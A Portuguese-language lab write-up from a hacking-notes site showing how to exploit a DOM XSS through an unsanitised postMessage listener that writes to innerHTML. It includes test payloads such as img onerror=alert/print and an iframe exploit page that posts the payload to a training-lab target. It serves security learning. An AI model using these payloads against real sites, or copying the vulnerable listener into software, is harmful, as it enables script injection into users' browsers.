> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/dom/xss-dom-via-web-messages.md).

# XSS DOM via Mensagens Web

### XSS de DOM usando mensagens da Web

Explore uma vulnerabilidade de DOM baseada em XSS com base em mensagens da web (`postMessage`) para fazer com que a `print()` função seja chamada na página-alvo enviando uma carga pelo servidor de exploração.

#### Comportamento observado (código-fonte)

A página escuta mensagens postadas e injeta diretamente o conteúdo recebido em `#ads` elemento sem desinfecção:

<pre class="language-html"><code class="lang-html"><strong>&#x3C;script>
</strong>   window.addEventListener('message', function(e) {
   document.getElementById('ads').innerHTML = e.data;
   })
&#x3C;/script>
</code></pre>

Isso significa que qualquer `e.data` recebido será renderizado como HTML em `#ads`, abrindo caminho para um XSS de DOM se um atacante conseguir postar uma mensagem controlada.

<figure><img src="/files/370c168410c5f31f2475d78b39bf200c22900749" alt=""><figcaption></figcaption></figure>

#### Testes interativos (console)

Exemplos de mensagens enviadas do console da página pai / d

* mensagem de texto simples

```javascript
window.parent.postMessage('This is a test');
```

<figure><img src="/files/ad35c56acc24775d37e1083845c61c21b03f229b" alt=""><figcaption></figcaption></figure>

* injeção de HTML

```javascript
window.parent.postMessage('<h1>hello</h1>');
```

<figure><img src="/files/90999a00a45540395fb5335f500561c38fcfb843" alt="" width="490"><figcaption></figcaption></figure>

* teste de alerta (XSS)

```jsx
window.parent.postMessage("<img src='0' onerror=alert(0)>");
```

<figure><img src="/files/45c82702ba6ad39010811205e6bc938f8eb54805" alt=""><figcaption></figcaption></figure>

* causar `print()` ( lente do laboratório)

```javascript
window.parent.postMessage("<img src='0' onerror=print()>");
```

<figure><img src="/files/ad57e14a5b20453037c03f641889c1a15503422c" alt=""><figcaption></figcaption></figure>

#### Exploit de iframe no servidor de exploração

Exemplo do HTML hospedado no seu servidor que carrega a página alvo em um iframe e então envia a carga útil para o carregamento do iframe:

```mathml
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('This is a test', '*');">
</iframe>
```

<figure><img src="/files/c5ac2b3524a76e98ecff16024c57611b47ab39df" alt=""><figcaption></figcaption></figure>

Para disparar `print()` na página-alvo, envie a carga útil contendo `img` elemento com `onerror=print()`:

```html
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('<img src=0 onerror=print()>', '*');">
</iframe>
```

<figure><img src="/files/521a466598d0a46a2d850fd70fe7361a105df9a0" alt="" width="563"><figcaption></figcaption></figure>


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